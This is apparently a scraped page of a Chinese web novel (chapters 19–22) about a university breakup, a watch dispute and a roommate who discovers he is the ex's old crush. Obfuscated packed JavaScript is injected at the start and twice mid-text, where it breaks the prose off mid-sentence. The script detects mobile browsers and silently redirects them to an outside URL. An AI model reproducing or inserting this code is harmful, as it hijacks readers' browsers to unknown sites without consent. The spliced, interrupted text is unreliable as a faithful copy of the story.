;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067294|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” * 陈深好面子,见到熟人装作若无其事地暂时松开许还今的手,回应说:“没干什么,你们刚下课?” 许还今朝两人轻点头权当打过招呼,耳边长发贴着纤白的脖颈轻落,趁着这个功夫转身回教学楼。 王行泽和陈深尬聊两句,“嗯刚下课,正赶着去食堂给学长带饭,一起?” 陈深说:“不用了,我去趟训练场一会再回宿舍。” “好好,兄弟我们先走。” …… 离开草坪附近,王行泽有感而发地回忆自己上一段感情:“陈深这个恋爱谈的不怎么样,想当初我和我女朋友,直到分手我们都没吵过架,分手当天我还给她转了情人节礼物。” 祁绍对王行泽的感情经历略有了解,他心不在焉,随口反问:“你们幼儿园谈恋爱也过情人节?” “……,”王行泽气急败坏,“是小学!!谁跟你说幼儿园了?!” * “……所以你觉得你们俩性格不合,对将来的安排也不一致,就提了分手?” 女生宿舍三楼走廊上,康婷一边挽着许还今的胳膊一边说:“你说的也对,如果性格不合接着谈下去也是一种折磨。能感觉出来陈深有时候脾气不太好,不过可惜了他身材是真好,长得也不错,仅次于他们宿舍的祁绍。” 许还今笑笑:“你见过祁绍的身材?” “这很明显啊!就算他穿着衣服也能看出来身材好,身高够,肩膀又直,”康婷靠近许还今,悄悄议论:“而且一看祁绍就属于薄肌的类型,跟陈深他们不一样,我最爱这种了。” 许还今开玩笑说:“让你男朋友也去练一个。” “他不行啦,”走到寝室门口,康婷拿出门卡开门说:“我男朋友特别懒,而且祁绍那种薄肌是需要天赋才能练成的……” “什么天赋?” 宿舍里秦新月和薛彩都在,后者听见说话声回头。 康婷走到她旁边,手撑在她的椅背上:“我们在说祁绍的身材需要天赋才能练成。” “同感!”薛彩找到知音,回头竖了个大拇指肯定地说:“就他那个腰,那个腿,基因天选。” “哦对了还今,”薛彩想起正事,看向许还今:“你晚上跟队长一起吃饭吗,帮我跟他请假,今天晚上训练我不去了,肚子疼,拜托拜托,我要去请假他肯定不答应……” 许还今从桌上取下陈深送的一些还没拆封过的礼物,没有掩饰,说道:“我跟他分手了,抱歉。” “啊?”薛彩立马震惊:“今天说的?” “嗯,”许还今说。 “完蛋了,”薛彩顿时哀嚎:“这下队长心情不好更不会同意我请假了!!” 秦新月从手机里抬头,惊疑不定地看着许还今整理东西,把那些贵价的化妆品和礼物都放在箱子里。 秦新月问:“你要把这些东西还给陈深?” 许还今手里的动作不停,点头。 “他送你那么多贵的东西你还得起吗?”秦新月说。 许还今朝她看。 依旧是很轻很淡的目光,但女生视线仿佛是柔韧的蛛丝,别人施加多少力蛛丝就会收多紧,让人有种风雨欲来的窒息感。 薛彩和康婷也看过来。 秦新月意识到自己说的话有问题,她赶紧改口说:“我的意思是你不如留下来自己用,难道你给他的礼物你也要收回吗,我记得你送给过他一块很贵的表。” “不收回,”许还今声音清淡,她明明化着浓妆,却给人一种金白水清之感,说道:“我送出去的东西,分手就当是扔给狗了。” 19. 第 19 章 看得出陈深还想挽回这段感情,这几天他消息发个没完,许还今把他拉黑之后他还是会再重新加好友。 然后再输出一大段关于他不想分手,手表的事情他还有解释之类的话。 也会来宿舍楼下或者教室找许还今,但是因为这几天学校要办篮球赛,陈深作为体育部的部长需要组织安排比赛。 再加上他们体操队马上要去其他市参加比赛,训练也很忙。 陈深被事情绊住脚,来找许还今也是见缝插针才找到的空闲时间,再加上这几天康婷男朋友有事,她总是和许还今一起上课吃饭。 有外人在陈深好面子也不会做的特别过分,顶多是在路上拦住她说几句话。 许还今应付几句就快步离开。 宿舍里秦新月这几天都不在,听说是训练忙,干脆就住在了外面的酒店,薛婷还在宿舍好奇地问:“秦新月最近哪来的钱天天住酒店?” 许还今暂时也没功夫注意这些,她在准备上次摄影师介绍的珠宝拍摄。 本来说好的是周二去试镜,但是因为学姐临时要出差,往后调了几天,周四许还今才重新接到通知说周六上午十点试镜。 许还今是在课间收到的消息,她回复说好。 在珠宝届,品牌方挑选模特时虽然也会对模特的身材有要求,但更主要的是看她们的气质和品牌是否相配,能不能撑起来珠宝的牌面。 这就导致想要到珠宝广告一方面是拼资源,一方面是看当天品牌方的眼缘。 所以许还今收到消息后能做的准备不多,她随便在网上查阅了这个珠宝品牌的形象定位。 品牌名字是梵文,叫“Dhyāna”,中文意思是“禅”,主要以简约,富有哲学含义的首饰设计闻名,价格定位是中奢。 这次试镜的品牌设计师新推出来的设计,系列名叫“流水”,水利万物而不争,细水长流不止。 在官网发布的预告中,设计师希望这个系列的产品能传达给人一种平静,向前的积极感触。 根据描述,许还今脑海中很快搭配好了试镜当天要穿的衣服,她正要关上手机,旁边走过来一个短头发的同学凑过来问:“许还今,咱们新媒体要帮体育部准备篮球比赛,有个比赛名单需要统计,你有空吗?” 许还今是学校新媒体社团的一员,隶属于学生会。 虽然篮球赛主要是体育部那边负责,但是学生会中其他部门也需要参加。 许还今点头:“有空,你给我吧,着急吗?” “不着急,你周日之前整理成电子稿给我就行,我发到公众号上。” 短发女生叫赵乐,是新媒体的副社长。 许还今接过她手里的名单,赵乐说:“名单上有不清楚的你问陈深,让他去联系各个学院的人,这名单就是他们体育部给我的。” “我们分手了,”许还今说。 “啊?”赵乐很震惊,但大学情侣分分合合也正常,她又说:“那,那你直接联系各个学院的人吧,反正他们的联系方式都在群里。” 许还今点头。 * 陈深最近忙的脚不沾地,又因为分手搞得他焦头烂额。 周四早上他有两节游泳选修课,毛猴和钱吊车都没选这门课,跟他一起上课的是秦新月。 这节课的老师管的不严格,刚上课点完名就让他们自行训练。 陈深泡在泳池游了两个来回,旁边两个男的不知道是哪个学院的,蹲在泳池边评价班级里女生的身材。 “对门那个,绿色泳衣的,好细的腿。” “这个不行吧,胸太小了,长得也不行。” …… 然后两人不知道看到了什么,瞬间兴奋地说:“看那个!这个长得漂亮,胸还大我艹!” “这个我喜欢!!” 陈深还没抬头,有人叫他的名字:“陈深。” 陈深从水里抬头,是秦新月。 她没穿泳衣,穿着一件黑色的运动吊带,下身是短裤,看起来不像是来上游泳课的,反而像刚从操场跑完步回来。 秦新月每天确实要晨跑半个小时,短裤吊带的传达把她的身材曲线显露无疑,旁边那两男的眼睛都看直了。 昨天许还今的事情让陈深到现在都心烦意乱,他连秦新月都懒得理。 但当着这么多同学的面,陈深还维持着表面的友善,问道:“叫我有什么事?” 秦新月蹲在泳池边说道:“我想找你聊聊。” 至于聊什么,她不说彼此也心知肚明。 陈深心里涌上一阵烦躁感,不想去但又实在想问问她手表的事情,好一会还是说了声行,从泳池里起来。 秦新月见他起身便退后一步,率先往前走。 等陈深上岸,蹲在泳池边的两个男生格外有深意哦哦几声,“兄弟好福气啊。” “啧啧,牛逼啊!” 陈深摘了泳帽,本来就不爽,听到这两句打趣直接给了他们一人一脚,“滚,我有女朋友。” 泳池里砸出大片水花,陈深头也不回的离开。 他和秦新月在泳池的工作间里聊天。 陈深站在墙边,语气稍差地说道:“谢谢你那天送我去酒店,但照片你什么时候拍的?就算我喝多了你也不能随便拍我。而且你给我的手表是怎么回事,你给我的是假表?” 秦新月一听他这个说辞就知道他撇清关系, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦新月隐秘地扫了陈深几眼,他只穿了一条泳裤,身材很好,腹肌,肱二头肌应有尽有,脸也不错,是很戳女人的那一款长相。 秦新月咬咬牙,觉得不能逼得太紧,便不太情愿地偏头,说:“好,不提就不提,手表怎么了?” 陈深其实当时连一万五都不想给,但话都说出去了,钱也给了,也不好再收回。 而且如果当时真发生了些违背良心的事情,他必须先堵住秦新月的嘴,防止她和许还今说什么。 陈深也懒得再烦了,问:“手表是真的还是假的?” “真的。”秦新月怒了:“你怀疑我,我拿了钱有必要搞这些小动作吗?” 那许还今怎么说手表是假的? 陈深正想着,秦新月忽然拉住他的手往自己腰上放,陈深猝不及防愣住了,等碰到她的腰才清醒过来,猛然抽手。 “你干什么?!”陈深脸色骤然一变,言辞郑重:“就算那天我们真的有事,也只是个意外,我有女朋友!” 他抽手,秦新月却迎上去,低声附在他耳朵上轻声说:“我给你的当然是真表。说不定人家是故意这样说,找个理由提分手呢?” 20. 第 20 章 祁绍在外面的酒店住了一周,连游戏都没打,每天晚上躺在酒店的床上思考人生,调理情绪。 他不知道自己那股不太爽的感觉是从哪里冒出来的,反正思考着思考着最后调理的结论就是——许还今是别人女朋友,不理他虽然有点莫名其妙,但也说得过去。 毕竟男朋友舍友,其实相当于陌生人,许还今没必要理他。 这么想好歹也调理过来了。 他这几天在外面住偶尔会给荣觉发一条短信,周五他把这几句话发给荣觉。 那边荣觉也没有在上课,先发了个【?】 【你每天住在三万一晚的酒店就在想这些事?】 然后单独引用祁绍那句“她是陈深女朋友……”回复【你这么在意这件事,干脆把她变成你女朋友不就行了】 【省得你在这思考人生了】 祁绍盯着这句话看了五秒,本来已经调理好的大脑又隐隐发麻,他喉结滚动两下,给那边发道。 【?有病】 【我哪在意了?】 * 但是这句话成功占据了祁绍的大脑。 他本来打算在外面住到放假,刚好现在离暑假也就一个多月了,但王行泽跟何所,每天一个电话催他,问他什么时候回来。 终于在周六,祁绍被这两人骚扰烦了,说早上回去。 他快到中午时才到寝室,里面没人,估计都去吃饭了。 祁绍昨天虽然没有打游戏,但失眠,熬了一个大夜,困得像狗,回来就直接去床上睡觉了。 不知道睡了多久,忽然耳边传来一声巨大的“砰”声,接着有人进来,是毛猴三人:“靠,好爽,宿舍空调这么在开着?” “是祁绍回来了吧?” “回来怎么没声?” …… 下面三人叫了几声祁绍的名字,祁绍都懒得理,把被子拉高,蒙住头接着睡觉。 毛猴叫了几声祁绍没人应,说道:“可能出去了。” 陈深说:“不在就不在,每天跟叫祖宗一样叫他,等一会不就完了,王行泽何所呢,他们什么时候到?” 钱吊车说:“快到了,都在路上,说一会就回来,深哥,你说的事是真的还是假的,这件事不能开玩笑。” “我的还能有假?”陈深闻言恨恨地说:“肯定是这样,那不然她为什么和我闹分手?!” 分手? 祁绍大脑清醒了一刻,下面毛猴和钱吊车对视一眼,前者摊手,后者引起的话题,只好再顶着重压开口:“确实确实,那tm的这小三真不是东西!!” 小三?什么情况? 底下交谈声暂时停止,又过了一会,毛猴看着手机说:“老师让我们去搬器材,走吧。” 陈深大怒:“我艹,外面将近四十度,搬个锤子器材?!” 钱吊车也怒:“把我当老黄牛使唤呢?!” …… 骂了几声,三人还是出门,宿舍又恢复平静,祁绍昏昏沉沉地睡过去。 这次睡得久,祁绍被人叫醒。 王行泽蹬着梯子,挂在祁绍床边叫:“祁绍,祁绍,祁绍……醒醒,醒醒!” 祁绍睁开眼,转头瞥见王行泽。 一张脸在身边放大,王行泽又不是什么祁绍这种大帅哥,经得起细看,祁绍把脸转过去。 王行泽:“……” 王行泽:“……我靠,祁绍你真不是人啊,我辛辛苦苦叫你,你就这态度?!” 祁绍坐起来,揉着头发问:“几点了?” “六点半,”何所说。 祁绍捏了两下眉心说:“知道了。” 王行泽说:“你几点到的,昨晚又没睡好,怎么现在还困?” “十一点多到的。” “十一点?”陈深闻言问道:“祁绍你中午在宿舍啊,毛猴叫你好几声你怎么没应?” “没听着吧,”何所说:“祁绍睡眠深。” 陈深站在下面,他有点爱当大哥的性格,挺关心地说:“少打几局游戏吧,都睡成这样了,连别人叫你你都没听见。” “踹门我听见了,”祁绍从床上探身,眼皮耷着,又困又散漫:“中午谁踹的门?” 祁绍就是典型的公子哥,有钱,懒散,没所谓,虽然住在宿舍但相处一年也没人见过他生气,但这不代表他好惹。 这么一问,虽然祁绍脸上一副没啥脾气的样子,了宿舍里瞬间沉默。 陈深:“……” 陈深道歉:“对不起啊祁绍,我进来的时候着急,抬脚没注意。” 祁绍倒也不是发火,他闻言说道:“下次注意点,别踹门了。” “……,”陈深理亏,说道:“okok,我注意点。” 他说完,祁绍也没理他了,问王行泽:“你吃完晚饭了?” “没吃,”王行泽递给祁绍一个眼神,说:“快点下来,陈深有大事要说!!” 下面,毛猴把桌子搬到一起,这是要开宿舍座谈会的架势。 虽然306不算一个特别有凝聚力的团体,但是毕竟大家都在一个宿舍,平时也会召开几项属于男生的集体活动,比如聚餐,再比如宿舍座谈会。 王行泽疯狂朝祁绍眨眼。 在他的暗示下,过了几秒,祁绍掀开被子,点头说:“行。” * 祁绍没睡好,不知道哪个人分的位置,祁绍坐在陈深旁边,后者手机大大咧咧地放在桌上。 祁绍看到置顶联系人是“宝宝”,大概指的是许还今。 桌上毛猴几人往上摆啤酒瓜子,祁绍从桌上拿了一听冰啤酒,打开往下灌了口提神。 何所关上电脑,划着办公椅过来看见祁绍喝酒顿时问:“祁绍,喝酒了?” 祁绍酒量好,但也就当时开学的时候聚餐喝了一次,其他时候基本不喝酒,同寝室的人也知道他这个习惯。 祁绍往后靠在椅背上,晃晃啤酒罐说:“喝着玩。” 六个人围着桌子,钱吊车是这次宿舍座谈会的主持人,开始讲大致的情况,旁边王行泽知道他没吃饭,递过来手机让他点外卖。 一份炒饭加排骨汤,祁绍点头。 祁绍喝了半罐啤酒,但还是有点困,钱吊车说的话他没听清几句,睡意朦胧中就听见旁边陈深激动地说:“肯定是出轨,不然她为什么非要和我分手?!你们都不知道情况,她高中以前在另外一个学校读的!” 与其寻找自己的过错,不如责怪从他人身上找原因,陈深坚定的相信自己给出的手表没问题。 既然没问题,那为什么许还今这么坚持要分手,前几天毛猴和秦新月的话猛然让陈深想起了一桩旧事。 就是当初他们谈恋爱的时候,陈深问许还今有没有谈过恋爱,许还今说没有。 这个结论出乎陈深的意料,他惊疑地问:“一次都没谈过?你这么漂亮没有人喜欢你?不可能吧?” 许还今说有,陈深就问:“那你怎么没谈?” 当时许还今顿了几秒,给出了一个诚实又让人意外的回答:“我那时候有喜欢的人。” 青春懵懂,对异性产生倾慕之情属于正常情况。 陈深虽然不爽但也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来他们俩谈恋爱,陈深还好奇了一次是删了还是隐藏了,还拿着许还今的手机看。 结果真删了。 想来,应该就和高中时的暗恋对象有关。 “他住在浦江,家里有超跑,应该学习好,挺受欢迎的,经常有女生向他表白……”那应该是一张朋友圈的截图,上面豪车云集。 还有一张是谁拍的送给他的礼物,各色的礼盒和信件堆满了课桌。 陈深越说越气:“真是个恬不知耻的小三!别让我知道他是谁,我饶不了他!” 钱吊车深以为意地点头,他跟毛猴几人开始深扒小三的特征。 那边钱吊车结合陈深给的信息,归纳道:“浦江市六中,高中组过乐队,会打鼓。” 祁绍在旁边边灌啤酒边听,爱打游戏这好习惯,市六中以前也是祁绍的高中,算是比较好的学校,从这出来的怪不得许还今到大学成绩不错……不对,等等! 浦江市六中,会敲架子鼓,高中组乐队,祁绍猛然惊醒。 艹!!这个人怎么越说越像我? 如果他没记错,当初六中高一时期就一个乐团,是他跟荣觉组的,祁绍在里面担任过鼓手。 他妈的,不会这么巧吧? 祁绍脊背慢慢绷直,旁边的毛猴忽然拍了拍祁绍的肩膀:“还玩表,六中,祁绍你跟他一个高中的,认不认识这号人?” 其他富有正义感的舍友在一边痛骂小三:“好一个无耻之徒,勾引有夫之妇,早晚揍他一顿!” “臭不要脸的玩意,素质低到令人发指,这要是我,我上去给他两拳!” 刚让自己老爹拍了块名表的祁绍:“……” 家里一柜子名表的祁绍:“……不认识。” “你不知道?这小三够神秘的,陈深,快点再想想!” 眼看大家还要往下扒,祁绍仰头把剩下的啤酒喝完,他站起来,不动声色地说:“你们先聊,王行泽,跟我去外面拿外卖。” 21. 第 21 章 下午两点多正是热的时候,道路两旁树木茂盛,学生三五成群的结伴穿梭在校园内。 空气闷热,王行泽骂了句好热,然后困惑地拿出手机看,说:“祁绍你哪看的外卖到了?我这显示外卖还没到?” 祁绍人生第一次经历这么狗血的事情,他脑子被“小三”这个词砸的有点转不过来弯,边往前走边说:“马上就到了。” “……,”王行泽莫名其妙:“你预言家啊?我还等着听八卦呢,你说小三这件事真的假的,该不会是陈深为了掩饰自己出轨找点理由吧?” 祁绍脚步放慢,忽然叫他:“王行泽。” “嗯?叫我干什么?” “问你个事情。” “问呗,还搞这么隆重?”王行泽疯狂在群里@何所,让他转播最新消息。 祁绍有些艰难地开口:“你觉得,如果你是女生,让你在陈深和我之间选,你会选谁?” 王行泽:“……?!” 他从手机里抬头,惊疑不定:“你怎么了,受什么刺激了祁绍?” “让你说你就说。” 王行泽说:“那我必然选你啊,卧槽,钱,长相,你tm甩陈深八百条街不带拐弯的!!” 祁绍皱眉,觉得单比长相和财力实在是太肤浅了,他又问:“抛开长相呢?” 王行泽认真地打量了一番祁绍,说:“你。” “如果抛开钱呢?” 王行泽虽然不知道他问这些的目的是什么,但斩钉截铁,诚恳地说:“抛不开!!” 那tm几万的套房随便住,上千万的豪车塞满车库,钱多的能当纸烧,这能抛得开吗?!必然不能啊!! “……,”祁绍被这个肤浅的回应无语到了,他敛睫想事情。 王行泽困惑:“你今天怎么了,从回来我就发现你心情不好,这又是突然把我拉出来拿外卖的,又是问这些莫名其妙的问题的……” 祁绍打开手机,从相册里翻出一段视频,言简意赅:“看。” “这是什么?” 王行泽接过手机,屏幕上是一段录像,拍摄点应该是在哪个学校的大礼堂,圆形舞台后的大屏上写着“欢度五一,百年校庆。” 视频应该是剪辑过,很快就跳到下一幕。 舞台上灯光忽然暗下,仅存一束圆形的舞台灯照在中央的架子鼓上,旁边的一位长相英俊的男生弯腰估计是帮他调整了一下乐器位置,然后很快往舞台一侧走。 灯幕里,只剩下祁绍。 祁绍会玩架子鼓,这点王行泽知道,但是在他的记忆里,这玩意就是中二少年的装逼利器,没见过谁真的玩出过花样。 他没想到祁绍打起架子鼓居然是这个样子。 男生为了表演难得穿了比较正式的演出服,黑色的外套上细碎的钻片在灯光的照射下越发璀璨闪亮,随着鼓槌的落下,迸发的音符从他手中跃起,密集强烈的鼓点一下把整个会场的节奏都带起来。 祁绍的动作干脆利落,身体随着音乐摇摆,身上那股懒散的少爷劲在此刻转变为一种强大的自信,冷静,嚣张,仿佛全场的心跳都被他掌控。 就连隔着手机屏的王行泽都能感觉到那股盛气凌人、制衡全场的劲。 这是他从来没见到的祁绍。 架子鼓的独奏只有短短的三分钟,鼓敲完,祁绍站起来,随便朝台下点头致谢,下面的呐喊声躁得能掀翻屋顶。 王行泽直到视频放完才出声,激动地说:“我艹,我艹,祁绍,哥哥,你tm好帅!!” “我还是第一次看见你敲鼓,我艹怪不得段正年说你们高中那些女生爱你爱的要死,哥哥你牛逼啊!!” 他激动之余又想起来一件事:“哎你高中玩乐队啊,那应该也认识其他玩乐队的人吧,刚才陈深说的哪个小三也敲架子鼓……” 祁绍转过头看他。 王行泽和祁绍对视,相顾无言,五秒后,王行泽的目光渐渐惊悚:“……??!兄弟你别告诉我你就是那个小……” 王行泽说不出口,祁绍点了下头。 王行泽语无伦次了:“真的假的?你别逗我祁绍,这事不能开玩笑。” “没开玩笑,”祁绍说:“十有八九是我。” * 外卖还要几分钟才能送到,王行泽站在外卖柜前,他看起来比祁绍还要怀疑人生,大脑疯狂转动,把整件事情联系在一起,说:“所以其实你那时候说看嫂子眼熟,很可能是以前在六中见过她?但是你们没有在一起,你对她印象低,她喜欢你……所以,嫂子高中的时候暗恋你!!” 祁绍不清楚,他喉咙发紧,感觉今天这事有点超出预期。 王行泽还在说:“那嫂子现在想干什么?重新遇到你发现自己对你还余情未了,打算甩了陈深追你?未免也太狗血了!!” 祁绍脑子“嗡”了一下,甚至能清楚得感受到自己全身的血液都往心脏流。 “那你现在什么感觉,”王行泽撞撞祁绍的肩膀。 祁绍顿顿,如实说:“我心脏跳得很快。” 燥热的夏日下午,太阳炽烈如火烧,微风扫过男生的衣角,他比任何人都能感觉到心脏在胸膛砰砰乱跳,似乎下一刻就能激动地蹦出胸腔。 血液沸灼,但是出乎意料,这几天以来的不快反而一扫而空。 祁绍在心底补充了下半句。 ——我还有点爽。 * 拿了外卖回到宿舍,里面的座谈会已经告一段落,毛猴他们正围着陈深企图扒出更多关于小三的信息。 看见祁绍两人进来,钱吊车问:“你们拿个外卖怎么这么久才回来?” 王行泽说:“外卖小哥送错外卖了,重新去取了趟餐。” “哦,”钱吊车说:“刚才隔壁宿舍叫咱们去打麻将,泽哥来不来?” 王行泽心里揣着大秘密,说真的现在有点怂祁绍和陈深待在一块,问道:“还有谁去?” “我,深哥也去,放松放松。” “哦哦哦,行,那加我一个,”王行泽边说边走到祁绍旁边,把手机屏给他看了一眼,上面是他推给了祁绍一个联系方式。 简洁的灰白色风景头像,名字也很简洁“X” 祁绍微不可见地点了下头。 三个人很快去隔壁宿舍,毛猴去外面跟其他人一起抽烟去了,何所准时打开论文。 祁绍打开外卖,吃了几口,拿出手机先给荣觉发了句。 然后点开和王行泽的对话框,视线在联系人上停了几秒,随即点击添加。 * 遥远的某个山脚下,荣觉上完课正在高中校门外等着,他 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站台上还有几个人也在等车,看见许还今朝她这边看了一眼。 许还今略微垂眼,长发轻落挡住她小半张脸。 她已经很久没有尝试过素颜出门开了,一开始是因为要工作,拍摄要求全天都带妆,慢慢的许还今不知道从什么时候起自己也会化妆了。 妆容带给她的是种若有似无的掩饰,她不习惯别人看向她的目光,即使这在她生活中时常发生。 许还今刚站定,手机手机响了,是她外婆打过来的。 许还今上高中时一直住在外婆家,和两位老人关系很好,但最近几年两位老人年纪大了,身体不太好,经常住院吃药。 许还今拿起手机接电话,“喂,外婆。” “小今啊,还在外面?”那边外婆听见电话里的吵闹声,问道。 “嗯,在外面吃饭,正准备回学校,”许还今说。 “早点回去,这么晚了就不要在外面待了,太危险了,”外婆在电话那边絮絮叨叨地说:“大城市里不比我们这小地方都认识,人多,要注意安全。今年暑假早点回来,外婆给你做酒糟肉吃……” 那边外婆声音慈祥,许还今工作一天的疲惫在这股声音里慢慢消散,她轻嗯了声,放缓了声音问:“外婆,你和外公最近身体怎么样,有没有在吃药?” “我们身体都还好,能吃能睡的,多注意自己……” “嗯,钱够吗?” “够了,够了你上次打过来的钱还没花完……” …… 挂了电话,许还今这边又收到了一条新消息,是赵悦问她前几天篮球赛的名单整理了吗。 经管学院那边报上的名单中,有一行填了祁绍的名字,但是没写联系方式,也没写编号,不知道算不算报名。 许还今发道【马上好,我晚上发给你】 她发完正想翻联系列表找经管学院的负责人询问,刚打开vx,一条申请消息弹开了出来。 ——“恐龙请求添加您为好友” 下面还有一行验证消息 ——我是祁绍。 22. 第 22 章 再次遇见祁绍是个意外。 许还今高考分数考得不错,但是高考填志愿没有特别再报浦江的大学,开学报道的前一天她先从浦江回了一趟镇川,然后再从镇川到南江。 七八个小时的高铁,从凌晨坐到早上七点半,第二天风尘仆仆地拖着行李箱来到报道处。 负责报道的学生热情地让她填签到表,许还今正弯腰填表,忽然听见了一个猝不及防的名字,“祁绍,快点来。” 周围的人纷纷回头,许还今也转过头看了一眼。 九月骄阳炽热,祁绍正站在她两步远的地方,懒散地朝着镜头比耶。 两年没见,他变了很多,长得更高,骨骼轮廓逐渐成熟,五官俊美,但还是像当年一样,随便一个表情都很有意气风发的感觉。 往那一站人群的视线就都聚焦在他身上。 他面前是他父亲在帮忙拍照。 祁绍和家里人的关系不错,一般小孩很难理解这种父母宠爱的融洽。 他父母工作都很忙,但上大学的第一天双方还是都陪同在孩子身侧,就算在南江大学这样的场景也很少见。 许还今一边填表,前面的学姐一边议论:“这帅哥也是今年的新生吗?好帅。” “应该是吧,今年新生质量很高啊,这么帅!” “看起来也很有钱,我艹看他手腕上的表,百万系列……” “真的假的?!” “我说的还能有假?这个系列的表绝对百万打底,我去富豪。” …… 或许是这边的说话声太大,祁绍听见了,他朝这边看了一眼。 视线略过,没作停留。 * 在许还今的记忆里,在六中读书的事情已经很遥远了,关于那时候的细节她早就忘的差不多了。 但是仍然还记得,当时在六中祁绍是几千名学生中最亮眼的那个。 形容他可以用很多词,天之骄子,公子哥,受欢迎朋友多,众星捧月,有钱,学习好……总之,没见过祁绍的人很难想象世界上居然会有这种人。 他的人生没有任何烦恼,独生子,父母恩爱,对他宠溺程度超乎所以。 可以随时翘课飞去某个城市只为了一场酒吧演奏。 可以为了多睡几分钟买下学校旁边的房子,可以懒散又理所应当地说:“我想买块几百万的手表。” 可以发呆,可以因为不想出国而肆意选择学校——祁绍父母对他没有学历要求。 在他成年时就把公司的股份转给他,庞大的基金以及股份分红足够祁绍阔绰一生。 他自由,被爱环绕。 任何人在青春时期遇见这么耀眼的男生都会记忆深刻。 许还今也是。 但是她也比任何人都要清楚,有些人注定和自己不在一个世界,祁绍和普通人有着云泥之别。 与其沉溺于往事,不如就此疏远,当成陌生人相处。 这也是她早就做出的决定。 所以即使她和陈深恋爱这几个月中也见过祁绍几次,但许还今从来没有和他说过话。 是陈深有什么话需要他转告吗? 许还今收拢思绪,加上好友,公事公办地发【你好,有事吗?】 * 那边,王行泽打完麻将跟祁绍以要吃晚饭的借口出来。 他排在队伍里看见了这条消息。 其实是有事,但是这个事不好说,一方面这只是祁绍自己的猜测,虽然十之八九吧,但他总不能上来就问许还今:“嫂子你喜欢我?” 太不正经了。 另一方面,祁绍真没处理这种情况的经验,他不抗拒谈恋爱,也不是什么清心寡欲的人。 但是对方也不能这么贪心,吃着锅里的看着碗里的,没分手就先看上他了。 这搞的他很难办,不当小三是祁绍的底线。 其实这件事也好办,第一先问清楚许还今喜欢的人到底是不是自己。 第二,赶紧劝人好好谈恋爱,自己还没道德沦丧到要插足舍友的感情。 但,不好开口,祁绍转着手机,王行泽排在他前面,回过头问:“她加你了吗?” 祁绍点了下头。 王行泽说:“那快问问她到底什么情况,让她死心吧,她这不是爱你是想你死啊!你说要是陈深发现了,他不得火冒三丈,这种道德问题咱们宿舍人人揭竿而起的话,就咱们俩,虽然兄弟我是能打,但是双拳难敌四手,我们必败无疑!你还是快点找个机会和她说清楚,你对嫂子没意思。” 王行泽啰嗦没完,祁绍听得烦,说:“我练过散打。” 王行泽没反应过来,:“……?” 正好排到他们,祁绍推了下他示意他往前去点餐,言简意赅:“能打得过。” “……” * 许还今坐上公交车时收到了回复,男生很简短的问【在学校吗?】 有点让人不明所以,许还今第一想法是可能是陈深又让他转交什么东西。 但下面紧跟着第二条【我找你有事,方便吗?】 他找自己?许还今略微皱眉,但还是回复道【方便,我半个小时后到学校】 恐龙【嗯不着急,我等你】 * 许还今也不知道为什么有事会有到餐厅,她当时下车刚走进校门口就注意到了祁绍。 男生没玩手机,就这么干站着,仿佛他在刻意等着许还今,又等了很久。 看见许还今,他远远地点了下头,率先走过来问:“吃完晚饭了吗?” 许还今摇说没有,一会去吃,祁绍说:“刚好一起吃?我请你。” 许还今还没来得及拒绝,旁边王行泽就拿出手机打车。 全程一气呵成,等许还今反应过来她已经和祁绍两人坐在餐厅了。 祁绍没定特别贵的餐厅,这家店和南江大学就隔了一条街,店铺面积不大,但是店主很有个性,晚餐只供应几桌,菜谱也随着季节变化。 祁绍拿手机扫了码后直接把手机放在桌上推向许还今,让她点餐。 许还今愣了下,道谢说谢谢,但是也没拿手机,低头在屏幕上点了一道素菜,然后说:“好了,你们点吧。” 她实在客气,祁绍往屏幕上暼了一眼,说:“多点几个,没事。” 他语气不重,许还今不便多推辞,按照他的要求重新点了几道菜,王行泽那边拿了几罐啤酒,问许还今喝不喝。 许还今酒量一般,摇头拒绝:“我不喝,你们喝吧。” 王行泽还想再劝几句,祁绍从他手里接过啤酒:“我喝。” 他捏了两下啤酒罐,薄的铝壳柔软下陷,发出轻微咔咔的声响,似 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但祁绍的反应出乎意料的平淡,老神在在地坐着,似乎没注意到王行泽的视线谴责,闻言甚至仰头喝了口冰啤。 王行泽只得收回目光,嘴上状似好奇地问:“你和深哥为什么分手,这么突然?” “性格不合,”许还今给了一个万金油的理由。 “噢噢噢,”王行泽其实不信。 接下来的一顿饭吃的堪称安静,许还今想快点吃饭完回寝室把名单整理好给赵悦。 到尾声大家都吃的差不多了,许还今忽然想起来名单上的错误,她停筷,斟酌措辞抬眼看向祁绍。 正要询问,发现祁绍也在看她。 见到她看过来,祁绍没有躲避和她对视。 他捏了下啤酒罐,今天短短的半个小时他好像喝了三四听啤酒,问道:“有事?” 许还今从包里拿了纸和黑笔,问:“篮球赛你要参加吗,你们学院发过来的名单上有你,但是没有联系方式,如果你要参加的话把资料填好,我晚上整理好要发给新媒体社的社长。” 祁绍一愣,想的是,这联系方式要的有点直白。 旁边的王行泽更是警铃大作,他也不知道为什么本来已经在食堂的他会被祁绍叫来吃饭,反正按照祁绍的意思是,讲这么狠心的话至少先请人吃顿饭吧。 于是刚点好快餐的王行泽被迫去校门口等人。 功夫不负有人心,王行泽看向祁绍,内心大喊,兄弟,看到了吧??!她不仅分手还敢在分手不到一天的时间就要你的联系方式。 现在正是你展示狠心的时候! 快用你拒绝其他女生的方式狠狠地拒绝她,告诉嫂子你不是那种当小三的人,你也是有底线的!! 你的联系方式绝对不能给!! 许还今敏锐地察觉到了气氛的微妙,她拂了下自己耳边的碎发,迟疑地问:“你不参加篮球赛吗?” 男生喝多了酒,脸上酡意微显,盯着她看。 